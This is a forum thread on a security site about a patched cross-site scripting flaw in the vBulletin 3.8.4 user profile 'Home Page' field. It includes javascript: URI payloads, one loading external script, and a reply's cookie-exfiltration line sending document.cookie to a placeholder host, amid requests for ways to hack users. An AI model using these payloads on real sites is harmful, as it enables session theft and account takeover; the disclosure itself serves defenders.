Page 1 of 2 12 LastLast
Results 1 to 10 of 11

Thread: vBulletin 3.8.4 - Cross Site Script Redirection

  1. #1
    MaXe's Avatar
    MaXe is offline Founder of InterN0T
    Join Date
    Jun 2008
    Location
    Denmark
    Posts
    4,009
    Blog Entries
    40
    Reputation
    263
    Rep Power
    10

    vBulletin 3.8.4 - Cross Site Script Redirection

    vBulletin - Cross Site Script Redirection


    Versions Affected: 3.8.4 / 3.7.6 / 3.6.12
    Patches Available: 3.8.4PL1 / 3.7.6PL1 / 3.6.12PL1

    Info: An XSS flaw within the user profile page has recently been discovered.
    This could allow an attacker to carry out an action as a user or obtain
    access to a user's account. To resolve this issue, it has been necessary to
    release a patch level version of the active versions of vBulletin.

    The upgrade process is the same as previous patch level releases - simply
    download the patch from the Members Area, extract the files and upload to
    your webserver, overwriting the existing files. There is no upgrade script
    required.

    As with all security-based releases, we recommend that all customers
    upgrade as soon as possible in order to prevent any potential damage
    resulting from the flaw being exploited.

    Credits: The original finder of the security hole. (Jelsoft?)

    Researched & Disclosed by: MaXe (InterN0T.net)

    References:
    http://www.vbulletin.com/forum/showthread.php?t=319572


    The Advisory
    The "Home Page" field in the user profile was only checking the user input
    for either "www" or the following regular expression written in normal text:
    Any letter from A to Z and/or a number from 0-9 + :// will make the link valid.

    The output in the Home Page field is encoded with most likely htmlspecialchars(),
    however before the patch it did not check if a user would create a link that
    would send an unknowing user to either the data: or javascript URI scheme.

    The only limits in the Home Page field are:
    - 90 character limit
    - Characters will be converted to html entities.
    - We can only use the data or javascript URI scheme.

    This means that we should avoid " since that becomes " .. The other
    characters like < will become &lt; which is %3C which is almost the same.
    Please see how htmlentities() and htmlspecialchars() works in PHP.

    The following scheme input as home page will alert 0:
    javascript://%0adocument.write('<script>alert(0)</script>')

    The following scheme is a Proof of Concept that external Javascript can be loaded:
    javascript://%0adocument.write('<script src=http://intern0t.net/.k></script>')

    The following URL contains a working Proof of Concept on the Contact Page:
    http://forum.intern0t.net/members/maxe.html (will be removed soon)
    Solution
    Update to the newest version of vBulletin - 3.8.4PL1 / 3.7.6PL1 / 3.6.12PL1


    Conclusion
    vBulletin is generally a safe and secure platform to use for large forums.
    This security hole / exploit is implausible to actually work against people.
    Please see: http://forum.intern0t.net/blogs/maxe...scripting.html for more information!

    Disclosure Information:
    - Unknown date of when the vendor found the security hole.
    - Vendor released patch on the 7th October 2009.
    - Security hole researched and disclosed on 8th October 2009.


    All of the best,
    MaXe


  2. #2
    Join Date
    Jun 2008
    Posts
    309
    Reputation
    36
    Rep Power
    8

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    O_O shweet find! lol

    /pwn going around everywhere
    "BackTrack is the fastest way to go from boot to remote root." - H.D. Moore

  3. #3
    Join Date
    Sep 2009
    Posts
    22
    Reputation
    1
    Rep Power
    5

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    so ?
    how to hack vbulletin?? :D
    -= newbie permanent was here =-
    visit my blog @ http://zerofreedom.wordpress.com

  4. #4
    Join Date
    Oct 2009
    Location
    Denmark
    Posts
    428
    Reputation
    103
    Rep Power
    5

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    Read the post. The version of vBulleting is vulnerable to XSS.
    Read up on XSS. ;)

  5. #5
    Join Date
    Sep 2009
    Posts
    22
    Reputation
    1
    Rep Power
    5

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    what we can do with XSS ?
    just cookie stealer or else?
    -= newbie permanent was here =-
    visit my blog @ http://zerofreedom.wordpress.com

  6. #6
    Join Date
    Sep 2009
    Posts
    85
    Reputation
    1
    Rep Power
    5

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    cookie stealing and sesson hijacking are the most dangerous one !

    but there are more ! like coding xss worm , or making ddos by persistance xss !

    also there are some powerfull tools like BeEF .

    google it ;)
    I love InterN0T

  7. #7
    Join Date
    May 2010
    Posts
    2
    Reputation
    1
    Rep Power
    4

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    I was checking this bug and even if we use a js file with a code like
    window.location="http://yourpage.com/bob.php?q="+document.cookie;
    it will only send bblastvisit=value1; bblastactivity=value2
    because bbsessionhash cookie is sent by vbulletin as HttpOnly. We can't access to it through clientside (tested with FF 3.6.4 and IE 6.0)

  8. #8
    MaXe's Avatar
    MaXe is offline Founder of InterN0T
    Join Date
    Jun 2008
    Location
    Denmark
    Posts
    4,009
    Blog Entries
    40
    Reputation
    263
    Rep Power
    10

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    Quote Originally Posted by Neo139 View Post
    I was checking this bug and even if we use a js file with a code like
    window.location="http://yourpage.com/bob.php?q="+document.cookie;
    it will only send bblastvisit=value1; bblastactivity=value2
    because bbsessionhash cookie is sent by vbulletin as HttpOnly. We can't access to it through clientside (tested with FF 3.6.4 and IE 6.0)
    That doesn't necessarily mean that you cannot hack a user though

    Thanks for the information though :)


  9. #9
    Join Date
    May 2010
    Posts
    2
    Reputation
    1
    Rep Power
    4

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    Quote Originally Posted by MaXe View Post
    That doesn't necessarily mean that you cannot hack a user though

    Thanks for the information though :)
    what can we do? give me ideas =P

    it also works in vBulletin® Version 3.7.5

  10. #10
    Join Date
    May 2010
    Posts
    1
    Reputation
    1
    Rep Power
    4

    Re: vBulletin 3.8.4 - Cross Site Script Redirection

    Yes, a hint would be nice =) I have the same problem =/

    EDIT: I found a solution :) Just need to hide the javascript somehow =/

Page 1 of 2 12 LastLast

Similar Threads

  1. [Guide] Cross Site Scripting
    By Starwiz in forum Web Hacking & War Games
    Replies: 2
    Last Post: 24th January 2011, 11:39
  2. [Guide] Cross Site Request Forgery
    By Starwiz in forum Web Hacking & War Games
    Replies: 0
    Last Post: 12th August 2010, 20:30
  3. Cross Site Scripting via POST-requests
    By MaXe in forum Web Hacking & War Games
    Replies: 7
    Last Post: 8th June 2010, 16:37
  4. FBI XSS / Cross Site Scripting Vulnerability
    By MaXe in forum Exploits, Vulnerabilities & PoCs
    Replies: 2
    Last Post: 28th January 2009, 08:34

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
EvilZone py1337 SoldierX.com ZeroCold SirCapsAlot.NET TheXero